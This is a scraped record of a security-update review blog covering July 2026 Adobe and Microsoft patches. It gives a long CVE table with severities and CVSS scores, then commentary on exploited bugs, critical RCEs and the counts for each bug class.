RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:52.197842Z"}, {"uuid": "5ddc78b2-1607-4dd2-97de-724ebd0e33ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54127", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    